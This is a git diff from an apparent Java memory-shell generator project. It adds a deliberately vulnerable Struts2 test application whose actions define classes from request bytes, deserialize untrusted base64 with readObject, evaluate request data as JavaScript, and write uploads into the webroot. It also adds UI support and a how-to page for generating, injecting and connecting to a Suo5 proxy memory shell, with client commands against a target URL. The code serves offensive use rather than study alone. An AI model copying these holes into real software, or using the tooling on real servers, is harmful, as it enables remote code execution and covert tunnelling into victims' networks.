ServletActionContext.getRequest(); + String data = request.getParameter("data"); + byte[] bytes = decodeBigInteger(data); + reflectionDefineClass(bytes).newInstance(); + return ActionSupport.SUCCESS; + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + public Class reflectionDefineClass(byte[] classBytes) throws Exception { + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defMethod.setAccessible(true); + return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); + } +} diff --git a/vul/vul-struct2/src/main/java/JavaReadObjAction.java b/vul/vul-struct2/src/main/java/JavaReadObjAction.java new file mode 100644 index 00000000..67c0942e --- /dev/null +++ b/vul/vul-struct2/src/main/java/JavaReadObjAction.java @@ -0,0 +1,46 @@ +import com.opensymphony.xwork2.ActionSupport; + +import java.io.ByteArrayInputStream; +import java.io.ObjectInputStream; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +public class JavaReadObjAction extends ActionSupport { + + private String data; + + byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + @Override + public String execute() throws Exception { + try { + ByteArrayInputStream inputStream = new ByteArrayInputStream(decodeBase64(data)); + ObjectInputStream bis = new ObjectInputStream(inputStream); + bis.readObject(); + bis.close(); + } catch (Exception ignored) { + + } + return SUCCESS; + } + + public String getData() { + return data; + } + + public void setData(String data) { + this.data = data; + } +} diff --git a/vul/vul-struct2/src/main/java/ScriptEngineAction.java b/vul/vul-struct2/src/main/java/ScriptEngineAction.java new file mode 100644 index 00000000..3a20949d --- /dev/null +++ b/vul/vul-struct2/src/main/java/ScriptEngineAction.java @@ -0,0 +1,32 @@ +import com.opensymphony.xwork2.ActionSupport; +import org.apache.struts2.ServletActionContext; + +import javax.script.ScriptEngineManager; + +/** + * @author ReaJason + * @since 2024/12/3 + */ +public class ScriptEngineAction extends ActionSupport { + + private String data; + + @Override + public String execute() throws Exception { + try { + Object eval = new ScriptEngineManager().getEngineByName("js").eval(data); + ServletActionContext.getResponse().getWriter().println(eval.toString()); + return SUCCESS; + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + public String getData() { + return data; + } + + public void setData(String data) { + this.data = data; + } +} diff --git a/vul/vul-struct2/src/main/java/TestAction.java b/vul/vul-struct2/src/main/java/TestAction.java new file mode 100644 index 00000000..27c64210 --- /dev/null +++ b/vul/vul-struct2/src/main/java/TestAction.java @@ -0,0 +1,13 @@ +import com.opensymphony.xwork2.ActionSupport; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +public class TestAction extends ActionSupport { + + @Override + public String execute() throws Exception { + return SUCCESS; + } +} diff --git a/vul/vul-struct2/src/main/java/UploadAction.java b/vul/vul-struct2/src/main/java/UploadAction.java new file mode 100644 index 00000000..bb9159fc --- /dev/null +++ b/vul/vul-struct2/src/main/java/UploadAction.java @@ -0,0 +1,62 @@ +import com.opensymphony.xwork2.ActionSupport; +import org.apache.commons.io.FileUtils; +import org.apache.struts2.ServletActionContext; + +import java.io.File; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +public class UploadAction extends ActionSupport { + + private File upload; + private String uploadFileName; + private String uploadContentType; + + private static final String UPLOAD_DIRECTORY = "/"; + + @Override + public String execute() throws Exception { + try { + if (upload != null) { + String uploadFolder = ServletActionContext.getServletContext().getRealPath(UPLOAD_DIRECTORY); + if (!uploadFolder.endsWith(File.separator)) { + uploadFolder += File.separator; + } + String uploadPath = uploadFolder + uploadFileName; + File destFile = new File(uploadPath); + FileUtils.copyFile(upload, destFile); + ServletActionContext.getResponse().getWriter().println("file upload success: " + uploadPath); + } + return SUCCESS; + } catch (Exception e) { + ServletActionContext.getResponse().getWriter().println("file upload failed: " + e.getMessage()); + return ERROR; + } + } + + public File getUpload() { + return upload; + } + + public void setUpload(File upload) { + this.upload = upload; + } + + public String getUploadFileName() { + return uploadFileName; + } + + public void setUploadFileName(String uploadFileName) { + this.uploadFileName = uploadFileName; + } + + public String getUploadContentType() { + return uploadContentType; + } + + public void setUploadContentType(String uploadContentType) { + this.uploadContentType = uploadContentType; + } +} diff --git a/vul/vul-struct2/src/main/resources/struts.xml b/vul/vul-struct2/src/main/resources/struts.xml new file mode 100644 index 00000000..f5186c00 --- /dev/null +++ b/vul/vul-struct2/src/main/resources/struts.xml @@ -0,0 +1,35 @@ + + + + + + + + + + /index.html + + + + 10485760 + + + /index.html + /index.html + + + /index.html + + + /index.html + + + /index.html + + + /index.html + + + diff --git a/vul/vul-struct2/src/main/webapp/WEB-INF/web.xml b/vul/vul-struct2/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 00000000..6b5dc949 --- /dev/null +++ b/vul/vul-struct2/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + + + index.html + + + + struts2 + org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter + + + + struts2 + /* + + + diff --git a/vul/vul-struct2/src/main/webapp/index.html b/vul/vul-struct2/src/main/webapp/index.html new file mode 100644 index 00000000..b25b6f10 --- /dev/null +++ b/vul/vul-struct2/src/main/webapp/index.html @@ -0,0 +1,11 @@ + + + + + + Struts2 Test + + +

Welcome to Struts2 Test Application

+ + diff --git a/web/app/components/memshell/main-config-card.tsx b/web/app/components/memshell/main-config-card.tsx index a62b1763..977a0ee7 100644 --- a/web/app/components/memshell/main-config-card.tsx +++ b/web/app/components/memshell/main-config-card.tsx @@ -53,6 +53,7 @@ const shellToolIcons: Record = { [ShellToolType.Command]: , [ShellToolType.AntSword]: , [ShellToolType.Suo5]: , + [ShellToolType.Suo5v2]: , [ShellToolType.NeoreGeorg]: , [ShellToolType.Custom]: , }; @@ -467,7 +468,8 @@ export default function MainConfigCard({ - + + diff --git a/web/app/components/memshell/results/basic-info.tsx b/web/app/components/memshell/results/basic-info.tsx index 2e61a2fe..09661c2d 100644 --- a/web/app/components/memshell/results/basic-info.tsx +++ b/web/app/components/memshell/results/basic-info.tsx @@ -133,7 +133,8 @@ export function BasicInfo({ } /> )} - {generateResult?.shellConfig.shellTool === ShellToolType.Suo5 && ( + {(generateResult?.shellConfig.shellTool === ShellToolType.Suo5 || + generateResult?.shellConfig.shellTool === ShellToolType.Suo5v2) && ( ; shellTypes: Array; + tabValue: string; }>) { const { t } = useTranslation(["memshell", "common"]); return ( - +
diff --git a/web/app/components/probeshell/package-config-card.tsx b/web/app/components/probeshell/package-config-card.tsx index e9e7818d..04154f4b 100644 --- a/web/app/components/probeshell/package-config-card.tsx +++ b/web/app/components/probeshell/package-config-card.tsx @@ -30,7 +30,7 @@ export default function PackageConfigCard({ useEffect(() => { const filteredOptions = (packerConfig ?? []).filter((name) => { - return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl"); + return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl") && !name.toLowerCase().endsWith("jar"); }); const mappedOptions = filteredOptions.map((name) => { diff --git a/web/app/types/memshell.ts b/web/app/types/memshell.ts index 67f93d04..eeea55b9 100644 --- a/web/app/types/memshell.ts +++ b/web/app/types/memshell.ts @@ -132,6 +132,7 @@ export enum ShellToolType { Command = "Command", AntSword = "AntSword", Suo5 = "Suo5", + Suo5v2 = "Suo5v2", NeoreGeorg = "NeoreGeorg", Custom = "Custom", } diff --git a/web/bun.lock b/web/bun.lock index 433e1447..14177735 100644 --- a/web/bun.lock +++ b/web/bun.lock @@ -17,7 +17,7 @@ "fumadocs-core": "16.2.3", "fumadocs-mdx": "14.1.0", "fumadocs-ui": "16.2.3", - "i18next": "^25.7.1", + "i18next": "^25.7.2", "isbot": "^5.1.32", "lucide-react": "^0.556.0", "motion": "^12.23.25", @@ -38,7 +38,7 @@ "@react-router/dev": "^7.10.1", "@tailwindcss/vite": "^4.1.17", "@types/mdx": "^2.0.13", - "@types/node": "^24.10.1", + "@types/node": "^24.10.2", "@types/react": "^19.2.7", "@types/react-copy-to-clipboard": "^5.0.7", "@types/react-dom": "^19.2.3", @@ -48,7 +48,7 @@ "serve": "^14.2.5", "tailwindcss": "^4.1.17", "typescript": "^5.9.3", - "vite": "^7.2.6", + "vite": "^7.2.7", "vite-plugin-devtools-json": "^1.0.0", "vite-tsconfig-paths": "^5.1.4", }, @@ -489,7 +489,7 @@ "@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], - "@types/node": ["@types/node@24.10.1", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-GNWcUTRBgIRJD5zj+Tq0fKOJ5XZajIiBroOF0yvj2bSU1WvNdYS/dn9UxwsujGW4JX06dnHyjV2y9rRaybH0iQ=="], + "@types/node": ["@types/node@24.10.2", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-WOhQTZ4G8xZ1tjJTvKOpyEVSGgOTvJAfDK3FNFgELyaTpzhdgHVHeqW8V+UJvzF5BT+/B54T/1S2K6gd9c7bbA=="], "@types/parse-json": ["@types/parse-json@4.0.2", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="], @@ -773,7 +773,7 @@ "human-signals": ["human-signals@2.1.0", "", {}, "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw=="], - "i18next": ["i18next@25.7.1", "", { "dependencies": { "@babel/runtime": "^7.28.4" }, "peerDependencies": { "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-XbTnkh1yCZWSAZGnA9xcQfHcYNgZs2cNxm+c6v1Ma9UAUGCeJPplRe1ILia6xnDvXBjk0uXU+Z8FYWhA19SKFw=="], + "i18next": ["i18next@25.7.2", "", { "dependencies": { "@babel/runtime": "^7.28.4" }, "peerDependencies": { "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-58b4kmLpLv1buWUEwegMDUqZVR5J+rT+WTRFaBGL7lxDuJQQ0NrJFrq+eT2N94aYVR1k1Sr13QITNOL88tZCuw=="], "image-size": ["image-size@2.0.2", "", { "bin": { "image-size": "bin/image-size.js" } }, "sha512-IRqXKlaXwgSMAMtpNzZa1ZAe8m+Sa1770Dhk8VkSsP9LS+iHD62Zd8FQKs8fbPiagBE7BzoFX23cxFnwshpV6w=="], @@ -1281,7 +1281,7 @@ "vfile-message": ["vfile-message@4.0.3", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw=="], - "vite": ["vite@7.2.6", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-tI2l/nFHC5rLh7+5+o7QjKjSR04ivXDF4jcgV0f/bTQ+OJiITy5S6gaynVsEM+7RqzufMnVbIon6Sr5x1SDYaQ=="], + "vite": ["vite@7.2.7", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-ITcnkFeR3+fI8P1wMgItjGrR10170d8auB4EpMLPqmx6uxElH3a/hHGQabSHKdqd4FXWO1nFIp9rRn7JQ34ACQ=="], "vite-node": ["vite-node@3.2.4", "", { "dependencies": { "cac": "^6.7.14", "debug": "^4.4.1", "es-module-lexer": "^1.7.0", "pathe": "^2.0.3", "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" }, "bin": { "vite-node": "vite-node.mjs" } }, "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg=="], @@ -1381,6 +1381,8 @@ "vite-node/pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="], + "vite-node/vite": ["vite@7.2.6", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-tI2l/nFHC5rLh7+5+o7QjKjSR04ivXDF4jcgV0f/bTQ+OJiITy5S6gaynVsEM+7RqzufMnVbIon6Sr5x1SDYaQ=="], + "ansi-align/string-width/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], "ansi-align/string-width/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], diff --git a/web/content/docs/(shelltool)/suo5.mdx b/web/content/docs/(shelltool)/suo5.mdx new file mode 100644 index 00000000..ad800907 --- /dev/null +++ b/web/content/docs/(shelltool)/suo5.mdx @@ -0,0 +1,96 @@ +--- +title: Suo5 +description: Suo5 是一款久经实战检验的高性能 HTTP 正向代理工具,持续打磨只为解决一个需求:不出网场景下的稳定正向代理。 +--- + +import { Step, Steps } from 'fumadocs-ui/components/steps'; + +项目地址:https://github.com/zema1/suo5 +原理介绍:[https://koalr.me/posts/suo5-a-hign-performace-http-socks/](https://web.archive.org/web/20250430113018/https://koalr.me/posts/suo5-a-hign-performace-http-socks/) + + +![experience](../images/suo5.gif) + + +## Suo5 v2 版本主要特性 + +- **优异的传输性能** + - 全双工:借助双向 Chunked-Encoding 实现单连接双向通信,传输性能接近 FRP + - 半双工:下行长连接 + 上行短连接实现,在 Nginx 反代场景下仍可保持良好性能 + - 短链接:上下行均使用短连接,适配多层反代和严格限制长连接的场景,作为兜底方案 +- **良好的服务端兼容性** + - Java 支持 Tomcat、WebLogic、JBoss、Resin 等主流中间件,JDK6 ~ JDK 2x 全版本支持 + - .Net 支持 IIS 下所有 .Net Framework 版本 (>=2.0) + - PHP 支持 Nginx/Apache 等服务器环境,PHP 5.6 ~ PHP 8.x 全版本支持 +- **复杂网络环境支持** + - 支持一层、两层、多层反向代理下的稳定连接 + - 支持通过流量转发和请求重试来支持负载均衡场景 + - 支持配置上游代理(HTTP/SOCKS5) +- **稳定可靠的工程实现** + - 正确可靠的连接控制、并发管理、心跳保活、异常重连等 + - 完善的单元测试和集成测试保障质量 + +## 使用步骤 + + + +### 选择 Suo5/Suo5v2 内存马工具 + +Suo5 目前有 [1.x](https://github.com/zema1/suo5/releases/tag/v1.3.1) 版本和 [2.x](https://github.com/zema1/suo5/releases/tag/v2.0.0) 版本,由于改动较大,因此做了两个不同的版本适配。 + +![suo5_tool_select](../images/suo5_tool_select.png) + + + +### 设置流量入口特征 + +为了防止正常业务进入 Suo5 内存马影响到正常业务,需要指定流量特征进入 Suo5 内存马逻辑处理,此处使用特定请求头和请求值来标识,默认情况下是 User-Agent,请求值会随机生成 + +![suo5_config](../images/suo5_config.png) + + + +### 生成并注入 + +选取合适的打包方式,并进行内存马的注入。 + + + +### 连接与使用 + +在 [zema1/suo5/releases](https://github.com/zema1/suo5/releases) 下载合适的 suo5 客户端 + +1. 如果请求头使用默认的 User-Agent,则直接通过 `--ua "xXksjas"` 来指定即可,假设生成的为 `User-Agent: xXksjas`,则通过以下命令进行连接 +```bash +$ ./suo5 -t http://target.com/suo5.jsp --ua "xXksjas" +... +[INFO] 14:28 connecting to target http://target.com/suo5.jsp +[INFO] 14:28 preferred connection mode: half +[INFO] 14:28 handshake success, using session id 05q21upecl90yccl +[INFO] 14:28 suo5 is going to work on half mode +[INFO] 14:28 starting tunnel at 127.0.0.1:1111 +[INFO] 14:28 creating a test connection to the remote target +[INFO] 14:28 start connection to 127.0.0.1:0 +[INFO] 14:28 successfully connected to 127.0.0.1:0 +[INFO] 14:28 connection closed, 127.0.0.1:0 +[INFO] 14:28 congratulations! everything works fine +``` +2. 如果请求头使用其他,例如 Referer,则需要使用 `-H "Referer: xXksjas"` 来连接,例如 +```bash +$ ./suo5 -t http://target.com/suo5.jsp -H "Referer: xXksjas" +... +[INFO] 14:28 connecting to target http://target.com/suo5.jsp +[INFO] 14:28 preferred connection mode: half +[INFO] 14:28 handshake success, using session id 05q21upecl90yccl +[INFO] 14:28 suo5 is going to work on half mode +[INFO] 14:28 starting tunnel at 127.0.0.1:1111 +[INFO] 14:28 creating a test connection to the remote target +[INFO] 14:28 start connection to 127.0.0.1:0 +[INFO] 14:28 successfully connected to 127.0.0.1:0 +[INFO] 14:28 connection closed, 127.0.0.1:0 +[INFO] 14:28 congratulations! everything works fine +``` + +3. 后续的用法可参考官方仓库给出的 [Suo5 使用指南](https://github.com/zema1/suo5#%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97) + + \ No newline at end of file diff --git a/web/content/docs/changelog.mdx b/web/content/docs/changelog.mdx index 2f8ed5a5..754d3b8f 100644 --- a/web/content/docs/changelog.mdx +++ b/web/content/docs/changelog.mdx @@ -8,6 +8,18 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.0) - 2025-12-10 + +### Added + +1. 支持 Suo5 V2 版本内存马生成([#118](https://github.com/ReaJason/MemShellParty/issues/118) By @ReaJason Thanks @zema1) + +### Changed + +1. ui 探测马生成去除 jar 相关打包方式 + +**Full Changelog:** [v2.3.0...v2.4.0](https://github.com/ReaJason/MemShellParty/compare/v2.3.0...v2.4.0) + ## [v2.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.3.0) - 2025-12-08 ### Added @@ -18,7 +30,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 4. 支持 Tomcat Upgrade 内存马注入(仅 Tomcat8+ 可用) 5. 支持添加 lambda 类名后缀开关([#97](https://github.com/ReaJason/MemShellParty/issues/97)) 6. 命令执行内存马与回显马支持自定义命令模板([#115](https://github.com/ReaJason/MemShellParty/issues/115) Thanks [@ViCrack](https://github.com/ViCrack)) -7. 添加 ScriptEngine 绕过 Java 模块限制生成以及支持 H2URLPacker 方便生成 metabase 漏洞测试 payload +7. 添加 ScriptEngine 绕过 Java 模块限制生成以及支持 H2URLPacker(方便生成 metabase 漏洞测试 payload) 8. web 模块添加 [fumadocs](https://fumadocs.dev/) 框架,支持文档编写 9. 回显马运行字节码时支持 base64 和 gzipBase64 字节码传入 10. 支持 GroovyTransformJar 打包方式(fastjson 漏洞注入 [#112](https://github.com/ReaJason/MemShellParty/issues/112) Thanks [@DongHuangT1](https://github.com/DongHuangT1)) @@ -28,6 +40,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 1. 由于 jetty handler 依赖的类干扰,boot 容器从 jetty 改为 undertow 2. 注入器和回显马添加 ok 标识仅运行一次,降低代码运行时间 +3. boot 接口添加 /api 前缀,web 添加 /ui 前缀 **Full Changelog:** [v2.2.0...v2.3.0](https://github.com/ReaJason/MemShellParty/compare/v2.2.0...v2.3.0) diff --git a/web/content/docs/images/suo5.gif b/web/content/docs/images/suo5.gif new file mode 100644 index 00000000..c4b2e6df Binary files /dev/null and b/web/content/docs/images/suo5.gif differ diff --git a/web/content/docs/images/suo5_config.png b/web/content/docs/images/suo5_config.png new file mode 100644 index 00000000..81467329 Binary files /dev/null and b/web/content/docs/images/suo5_config.png differ diff --git a/web/content/docs/images/suo5_tool_select.png b/web/content/docs/images/suo5_tool_select.png new file mode 100644 index 00000000..2457f0a6 Binary files /dev/null and b/web/content/docs/images/suo5_tool_select.png differ diff --git a/web/content/docs/index.mdx b/web/content/docs/index.mdx index d414babd..636c5e53 100644 --- a/web/content/docs/index.mdx +++ b/web/content/docs/index.mdx @@ -63,7 +63,7 @@ icon: Album - [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla) - [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder) - [x] 命令执行 -- [x] [Suo5](https://github.com/zema1/suo5) +- [x] [Suo5](./suo5) - [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword) - [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) - [x] Custom diff --git a/web/content/docs/memshell/meta.json b/web/content/docs/memshell/meta.json index 5699cc52..9bdd6bc7 100644 --- a/web/content/docs/memshell/meta.json +++ b/web/content/docs/memshell/meta.json @@ -1,3 +1,3 @@ { - "title": "常见 Java 内存马" -} \ No newline at end of file + "title": "Servlets 规范内存马" +} diff --git a/web/content/docs/meta.json b/web/content/docs/meta.json index d0461c07..6013eaf8 100644 --- a/web/content/docs/meta.json +++ b/web/content/docs/meta.json @@ -10,6 +10,8 @@ "what-is-memshell", "memshell", "custom-memshell", + "---内存马工具---", + "...(shelltool)", "---其他---", "recommend-tools" ] diff --git a/web/content/docs/self-build.mdx b/web/content/docs/self-build.mdx index f356b5ca..cc48ce0e 100644 --- a/web/content/docs/self-build.mdx +++ b/web/content/docs/self-build.mdx @@ -59,7 +59,7 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest > 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44)) -下载项目根目录的 [Dockerfile](./Dockerfile) +下载项目根目录的 [Dockerfile](https://github.com/ReaJason/MemShellParty/blob/master/Dockerfile) - ROUTE_ROOT_PATH: 前端根路由配置 - CONTEXT_PATH: 后端访问前缀 diff --git a/web/package.json b/web/package.json index 8b3fa097..e7923b97 100644 --- a/web/package.json +++ b/web/package.json @@ -24,7 +24,7 @@ "fumadocs-core": "16.2.3", "fumadocs-mdx": "14.1.0", "fumadocs-ui": "16.2.3", - "i18next": "^25.7.1", + "i18next": "^25.7.2", "isbot": "^5.1.32", "lucide-react": "^0.556.0", "motion": "^12.23.25", @@ -45,7 +45,7 @@ "@react-router/dev": "^7.10.1", "@tailwindcss/vite": "^4.1.17", "@types/mdx": "^2.0.13", - "@types/node": "^24.10.1", + "@types/node": "^24.10.2", "@types/react": "^19.2.7", "@types/react-copy-to-clipboard": "^5.0.7", "@types/react-dom": "^19.2.3", @@ -55,7 +55,7 @@ "serve": "^14.2.5", "tailwindcss": "^4.1.17", "typescript": "^5.9.3", - "vite": "^7.2.6", + "vite": "^7.2.7", "vite-plugin-devtools-json": "^1.0.0", "vite-tsconfig-paths": "^5.1.4" } diff --git a/web/vite.config.ts b/web/vite.config.ts index c82f84ad..cf2a2190 100644 --- a/web/vite.config.ts +++ b/web/vite.config.ts @@ -8,7 +8,7 @@ import tsconfigPaths from "vite-tsconfig-paths"; import * as MdxConfig from "./source.config"; export default defineConfig({ - base: env.NODE_ENV === "development" ? '/' : `${env.VITE_APP_API_URL}/`, + base: env.NODE_ENV === "development" ? "/" : `${env.VITE_APP_API_URL}/`, plugins: [ mdx(MdxConfig), tailwindcss(), @@ -19,11 +19,11 @@ export default defineConfig({ }), ], resolve: - process.env.NODE_ENV === 'development' + process.env.NODE_ENV === "development" ? {} : { - alias: { - 'react-dom/server': 'react-dom/server.node', + alias: { + "react-dom/server": "react-dom/server.node", + }, }, - }, });